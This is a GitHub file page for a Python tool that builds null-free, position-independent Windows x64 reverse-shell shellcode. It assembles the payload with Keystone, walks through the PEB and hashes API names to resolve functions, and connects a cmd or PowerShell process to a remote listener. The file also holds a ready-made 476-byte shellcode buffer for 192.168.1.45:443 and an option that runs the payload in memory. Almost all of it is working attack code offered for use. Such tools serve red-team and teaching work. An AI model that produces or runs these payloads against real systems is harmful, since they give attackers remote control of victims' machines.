-
Notifications
You must be signed in to change notification settings - Fork 23
/
micr0 shell.py
398 lines (356 loc) · 18.8 KB
/
micr0 shell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
import ctypes, struct
import argparse
from keystone import *
# Exploit Author: Senzee
# Title: Windows/x64 - Reverse TCP Shell(192.168.1.45:443) Shellcode (476 Bytes)
# Date: 08/11/2023
# Platform: Windows X64
# Tested on: Windows 11 Home/Windows Server 2022 Standard/Windows Server 2019 Datacenter
# OS Version (respectively): 10.0.22621 /10.0.20348 /10.0.17763
# Test IP: 192.168.1.45
# Test Port: 443
# Payload size: 476 bytes
# Do not contain 0x00 byte
# Generated Shellcode (192.168.1.45:443):
# Payload size: 476 bytes
# buf = b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
# buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
# buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
# buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
# buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
# buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
# buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x4c\x89\xcd\x41\xb8\x8e\x4e\x0e\xec\xe8\x8f\xff\xff"
# buf += b"\xff\x49\x89\xc4\x48\x31\xc0\x66\xb8\x6c\x6c\x50\x48\xb8\x57\x53\x32\x5f\x33\x32"
# buf += b"\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x20\x4c\x89\xe0\xff\xd0\x48\x83\xc4\x20\x49"
# buf += b"\x89\xc6\x49\x89\xc1\x41\xb8\xcb\xed\xfc\x3b\x4c\x89\xcb\xe8\x55\xff\xff\xff\x48"
# buf += b"\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec"
# buf += b"\x30\xff\xd0\x48\x83\xc4\x30\x49\x89\xd9\x41\xb8\xd9\x09\xf5\xad\xe8\x2b\xff\xff"
# buf += b"\xff\x48\x83\xec\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0"
# buf += b"\x06\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd0\x49\x89\xc4\x48"
# buf += b"\x83\xc4\x30\x49\x89\xd9\x41\xb8\x0c\xba\x2d\xb3\xe8\xf3\xfe\xff\xff\x48\x83\xec"
# buf += b"\x20\x4c\x89\xe1\x48\x31\xd2\xb2\x02\x48\x89\x14\x24\x48\x31\xd2\x66\xba\x01\xbb"
# buf += b"\x48\x89\x54\x24\x02\xba\xc0\xa8\x01\x2d\x48\x89\x54\x24\x04\x48\x8d\x14\x24\x4d"
# buf += b"\x31\xc0\x41\xb0\x16\x4d\x31\xc9\x48\x83\xec\x38\x4c\x89\x4c\x24\x20\x4c\x89\x4c"
# buf += b"\x24\x28\x4c\x89\x4c\x24\x30\xff\xd0\x48\x83\xc4\x38\x49\x89\xe9\x41\xb8\x72\xfe"
# buf += b"\xb3\x16\xe8\x99\xfe\xff\xff\x48\xba\x9c\x92\x9b\xd1\x9a\x87\x9a\xff\x48\xf7\xd2"
# buf += b"\x52\x48\x89\xe2\x41\x54\x41\x54\x41\x54\x48\x31\xc9\x66\x51\x51\x51\xb1\xff\x66"
# buf += b"\xff\xc1\x66\x51\x48\x31\xc9\x66\x51\x66\x51\x51\x51\x51\x51\x51\x51\xb1\x68\x51"
# buf += b"\x48\x89\xe7\x48\x89\xe1\x48\x83\xe9\x20\x51\x57\x48\x31\xc9\x51\x51\x51\x48\xff"
# buf += b"\xc1\x51\xfe\xc9\x51\x51\x51\x51\x49\x89\xc8\x49\x89\xc9\xff\xd0"
def print_banner():
banner="""
███╗░░░███╗██╗░█████╗░██████╗░░█████╗░ ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
████╗░████║██║██╔══██╗██╔══██╗██╔══██╗ ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║ ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║ ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝ ██████╔╝██║░░██║███████╗███████╗███████╗
╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░ ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
"""
print(banner)
print("Author: Senzee")
print("Github Repository: https://github.com/senzee1984/micr0_shell")
print("Description: Dynamically generate PIC Null-Free Reverse Shell Shellcode")
print("Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255\n\n")
def get_port_argument(port):
port_hex_str = format(port, '04x')
port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2]
if "00" in {port_part_1, port_part_2}:
port += 257
port_hex_str = format(port, '04x')
port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2]
return f"mov dx, 0x{port_part_1 + port_part_2};\nsub dx, 0x101;"
return f"mov dx, 0x{port_part_1 + port_part_2};"
def get_ip_argument(ip):
ip_hex_parts = [format(int(part), '02x') for part in ip.split('.')]
reversed_hex = ''.join(ip_hex_parts[::-1])
if "00" in ip_hex_parts and "ff" not in ip_hex_parts:
hex_int = int(reversed_hex, 16)
neg_hex = (0xFFFFFFFF + 1 - hex_int) & 0xFFFFFFFF
return f"mov edx, 0x{neg_hex:08x};\nneg rdx;"
return f"mov edx, 0x{reversed_hex};"
def get_shell_type_argument(shell_type):
if shell_type == "cmd":
return f"mov rdx, 0xff9a879ad19b929c;\nnot rdx;"
return (f"sub rsp, 8;\nmov rdx, 0xffff9a879ad19393;\nnot rdx;\npush rdx;"
f"\nmov rdx, 0x6568737265776f70;")
def output_shellcode(lan,encoding,var,code_exec,save):
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
print("[+]Payload size: "+str(len(encoding))+" bytes\n")
counter=0
if lan=="python":
print("[+]Shellcode format for Python\n")
sc = ""
sc = var+" = b\""
for dec in encoding:
if counter % 20 == 0 and counter != 0:
sc += "\"\n"+var+"+="+"b\""
sc += "\\x{0:02x}".format(int(dec))
counter += 1
if count % 20 > 0:
sc += "\""
print(sc)
elif lan=="c":
print("[+]Shellcode format for C\n")
sc = "unsigned char " + var + "[]={\n"
for dec in encoding:
if counter % 20 == 0 and counter != 0:
sc += "\n"
sc += "0x{0:02x}".format(int(dec))+","
counter += 1
sc=sc[0:len(sc)-1]+"};"
print(sc)
elif lan=="powershell":
print("[+]Shellcode format for Powershell\n")
sc = "[Byte[]] $"+var+" = "
for dec in encoding:
sc += "0x{0:02x}".format(int(dec))+","
sc=sc[0:len(sc)-1]
print(sc)
elif lan=="csharp":
print("[+]Shellcode format for C#\n")
sc = "byte[] " + var + "= new byte["+str(len(encoding))+"] {\n"
for dec in encoding:
if counter % 20 == 0 and counter != 0:
sc += "\n"
sc += "0x{0:02x}".format(int(dec))+","
counter += 1
sc=sc[0:len(sc)-1]+"};"
print(sc)
else:
print("Unsupported language! Exiting...")
exit()
if exec=="true":
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("\n\nShellcode Executed! Shellcode located at address %s" % hex(ptr))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
if save=="true":
try:
with open(output, 'wb') as f:
f.write(shellcode)
print("\n\nGenerated shellcode successfully saved in file "+output)
except Exception as e:
print(e)
if __name__ == "__main__":
print_banner()
parser = argparse.ArgumentParser(description='Dynamically generate Windows x64 reverse shell.')
parser.add_argument('--ip', '-i', required=True, dest='ip',help='The listening IP address, default value is 192.168.0.45')
parser.add_argument('--port', '-p', required=False, default=443, dest='port',help='The local listening port, default value is 443')
parser.add_argument('--language', '-l', required=False, default='python', dest='lan',help='The language of desired shellcode runner, default language is python. Support c, csharp, python, powershell')
parser.add_argument('--variable', '-v', required=False, default='buf', dest='var',help='The variable name of shellcode array, default variable is buf')
parser.add_argument('--type', '-t', required=False, default='cmd', dest='shell_type',help='The shell type, Powershell or Cmd, default shell is cmd')
parser.add_argument('--execution', '-e', required=False, default='False', dest='code_exec',help='Whether to execution generated shellcode? True/False')
parser.add_argument('--save', '-s', required=False, default='False', dest='save',help='Whether to save the generated shellcode to a bin file, True/False')
parser.add_argument('--output', '-o', required=False, default='', dest='output',help='If choose to save the shellcode to file, the desired location.')
args = parser.parse_args()
ip=args.ip
port=int(args.port)
lan=args.lan.lower()
var=args.var
shell_type=args.shell_type.lower()
save=args.save.lower()
output=args.output
code_exec=args.code_exec.lower()
print("[+]Shellcode Settings:")
print("******** IP Address: "+ip)
print("******** Listening Port: "+str(port))
print("******** Language of desired shellcode runner: "+lan)
print("******** Shellcode array variable name: "+var)
print("******** Shell: "+shell_type)
print("******** Shellcode Execution: "+code_exec)
print("******** Save Shellcode to file: "+save+"\n\n")
args = parser.parse_args()
port_argument = get_port_argument(port)
ip_argument = get_ip_argument(ip)
shell_type = get_shell_type_argument(shell_type)
CODE = (
"find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx+0x60];" # RAX stores the value of ProcessEnvironmentBlock member in TEB, which is the PEB address
" mov rsi,[rax+0x18];" # Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure
" mov rsi,[rsi + 0x30];" # RSI is the address of the InInitializationOrderModuleList member in the _PEB_LDR_DATA structure
" mov r9, [rsi];" # Current module is python.exe
" mov r9, [r9];" # Current module is ntdll.dll
" mov r9, [r9+0x10];" # Current module is kernel32.dll
" jmp jump_section;"
"parse_module:" # Parsing DLL file in memory
" mov ecx, dword ptr [r9 + 0x3c];" # R9 stores the base address of the module, get the NT header offset
" xor r15, r15;"
" mov r15b, 0x88;" # Offset to Export Directory
" add r15, r9;"
" add r15, rcx;"
" mov r15d, dword ptr [r15];" # Get the RVA of the export directory
" add r15, r9;" # R14 stores the VMA of the export directory
" mov ecx, dword ptr [r15 + 0x18];" # ECX stores the number of function names as an index value
" mov r14d, dword ptr [r15 + 0x20];" # Get the RVA of ENPT
" add r14, r9;" # R14 stores the VMA of ENPT
"search_function:" # Search for a given function
" jrcxz not_found;" # If RCX is 0, the given function is not found
" dec ecx;" # Decrease index by 1
" xor rsi, rsi;"
" mov esi, [r14 + rcx*4];" # RVA of function name string
" add rsi, r9;" # RSI points to function name string
"function_hashing:" # Hash function name function
" xor rax, rax;"
" xor rdx, rdx;"
" cld;" # Clear DF flag
"iteration:" # Iterate over each byte
" lodsb;" # Copy the next byte of RSI to Al
" test al, al;" # If reaching the end of the string
" jz compare_hash;" # Compare hash
" ror edx, 0x0d;" # Part of hash algorithm
" add edx, eax;" # Part of hash algorithm
" jmp iteration;" # Next byte
"compare_hash:" # Compare hash
" cmp edx, r8d;"
" jnz search_function;" # If not equal, search the previous function (index decreases)
" mov r10d, [r15 + 0x24];" # Ordinal table RVA
" add r10, r9;" # Ordinal table VMA
" movzx ecx, word ptr [r10 + 2*rcx];" # Ordinal value -1
" mov r11d, [r15 + 0x1c];" # RVA of EAT
" add r11, r9;" # VMA of EAT
" mov eax, [r11 + 4*rcx];" # RAX stores RVA of the function
" add rax, r9;" # RAX stores VMA of the function
" ret;"
"not_found:"
" ret;"
"jump_section:" # Achieve PIC and elminiate 0x00 byte
" mov rbp, r9;" # RBP stores base address of Kernel32.dll
" mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash
" call parse_module;" # Search LoadLibraryA's address
" mov r12, rax;" # R12 stores the address of LoadLibraryA function
"load_module:"
" xor rax, rax;"
" mov ax, 0x6c6c;" # Save the string "ll" to RAX
" push rax;" # Push the string to the stack
" mov rax, 0x642E32335F325357;" # Save the string "WS2_32.D" to RAX
" push rax;" # Push the string to the stack
" mov rcx, rsp;" # RCX points to the "WS2_32.dll" string
" sub rsp, 0x20;" # Function prologue
" mov rax, r12;" # RAX stores address of LoadLibraryA function
" call rax;" # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;" # Function epilogue
" mov r14, rax;" # R14 stores the base address of ws2_32.dll
"call_wsastartup:"
" mov r9, rax;" # R9 stores the base address of ws2_32.dll
" mov r8d, 0x3bfcedcb;" # Hash of WSAStartup
" mov rbx, r9;" # Save the base address of ws2_32.dll to RBX for later use
" call parse_module;" # Search for and get the address of WSAStartup
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;" # Reserve enough space for the lpWSDATA structure
" lea rdx, [rsp];" # Assign the address of lpWSAData to the RDX register as the 2nd parameter
" mov cx, 0x202;" # Assign 0x202 to wVersionRequired and store it in RCX as the 1st parameter
" sub rsp, 0x30;" # Function prologue
" call rax;" # Call WSAStartup
" add rsp, 0x30;" # Function epilogue
"call_wsasocket:"
" mov r9, rbx;"
" mov r8d, 0xadf509d9;" # Hash of WSASocketA function
" call parse_module;" # Get the address of WSASocketA function
" sub rsp, 0x30;" # Function prologue
" xor rcx, rcx;"
" mov cl, 2;" # AF is 2 as the 1st parameter
" xor rdx, rdx;"
" mov dl, 1;" # Type is 1 as the 2nd parameter
" xor r8, r8;"
" mov r8b, 6;" # Protocol is 6 as the 3rd parameter
" xor r9, r9;" # lpProtocolInfo is 0 as the 4th parameter
" mov [rsp+0x20], r9;" # g is 0 as the 5th parameter, stored on the stack
" mov [rsp+0x28], r9;" # dwFlags is 0 as the 6th parameter, stored on the stack
" call rax;" # Call WSASocketA function
" mov r12, rax;" # Save the returned socket type return value in R12 to prevent data loss in RAX
" add rsp, 0x30;" # Function epilogue
"call_wsaconnect:"
" mov r9, rbx;"
" mov r8d, 0xb32dba0c;" # Hash of WSAConnect
" call parse_module;" # Get the address of WSAConnect
" sub rsp, 0x20;" # Allocate enough space for the socketaddr structure
" mov rcx, r12;" # Pass the socket descriptor returned by WSASocketA to RCX as the 1st parameter
" xor rdx, rdx;"
" mov dl, 2;" # Set sin_family to AF_INET (=2)
" mov [rsp], rdx;" # Store the socketaddr structure
" xor rdx, rdx;"
f"{port_argument}" # Set local port dynamically
" mov [rsp+2], rdx;" # Pass the port value to the corresponding position in the socketaddr structure
f"{ip_argument}"
" mov [rsp+4], rdx;" # Pass IP to the corresponding position in the socketaddr structure
# " xor r8, r8;"
# " mov [rsp+8], r8;" # Set zero for sin_zero. Comment these 2 lines to save more bytes, does not prevent the shellcode from working
" lea rdx, [rsp];" # Pointer to the socketaddr structure as the 2nd parameter
" xor r8, r8;"
" mov r8b, 0x16;" # Set namelen member to 0x16
" xor r9, r9;" # lpCallerData is 0 as the 4th parameter
" sub rsp, 0x38;" # Function prologue
" mov [rsp+0x20], r9;" # lpCalleeData is 0 as the 5th parameter
" mov [rsp+0x28], r9;" # lpSQOS is 0 as the 6th parameter
" mov [rsp+0x30], r9;" # lpGQOS is 0 as the 7th parameter
" call rax;" # Call WSAConnect
" add rsp, 0x38;" # Function epilogue
"call_createprocess:"
" mov r9, rbp;" # R9 stores the base address of Kernel32.dll
" mov r8d, 0x16b3fe72;" # Hash of CreateProcessA
" call parse_module;" # Get the address of CreateProcessA
f"{shell_type}"
" push rdx;"
" mov rdx, rsp;" # Pointer to "cmd.exe" is stored in the RCX register
" push r12;" # The member STDERROR is the return value of WSASocketA
" push r12;" # The member STDOUTPUT is the return value of WSASocketA
" push r12;" # The member STDINPUT is the return value of WSASocketA
" xor rcx, rcx;"
" push cx;" # Pad with 0x00 before pushing the dwFlags member, only the total size matters
" push rcx;"
" push rcx;"
" mov cl, 0xff;"
" inc cx;" # 0xff+1=0x100
" push cx;" # dwFlags=0x100
" xor rcx, rcx;"
" push cx;" # Pad with 0 before pushing the cb member, only the total size matters
" push cx;"
" push rcx;"
" push rcx;"
" push rcx;"
" push rcx;"
" push rcx;"
" push rcx;"
" mov cl, 0x68;"
" push rcx;" # cb=0x68
" mov rdi, rsp;" # Pointer to STARTINFOA structure
" mov rcx, rsp;"
" sub rcx, 0x20;" # Reserve enough space for the ProcessInformation structure
" push rcx;" # Address of the ProcessInformation structure as the 10th parameter
" push rdi;" # Address of the STARTINFOA structure as the 9th parameter
" xor rcx, rcx;"
" push rcx;" # Value of lpCurrentDirectory is 0 as the 8th parameter
" push rcx;" # lpEnvironment=0 as the 7th argument
" push rcx;" # dwCreationFlags=0 as the 6th argument
" inc rcx;"
" push rcx;" # Value of bInheritHandles is 1 as the 5th parameter
" dec cl;"
" push rcx;" # Reserve space for the function return area (4th parameter)
" push rcx;" # Reserve space for the function return area (3rd parameter)
" push rcx;" # Reserve space for the function return area (2nd parameter)
" push rcx;" # Reserve space for the function return area (1st parameter)
" mov r8, rcx;" # lpProcessAttributes value is 0 as the 3rd parameter
" mov r9, rcx;" # lpThreatAttributes value is 0 as the 4th parameter
" call rax;" # Call CreateProcessA
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
output_shellcode(lan,encoding,var,code_exec,save)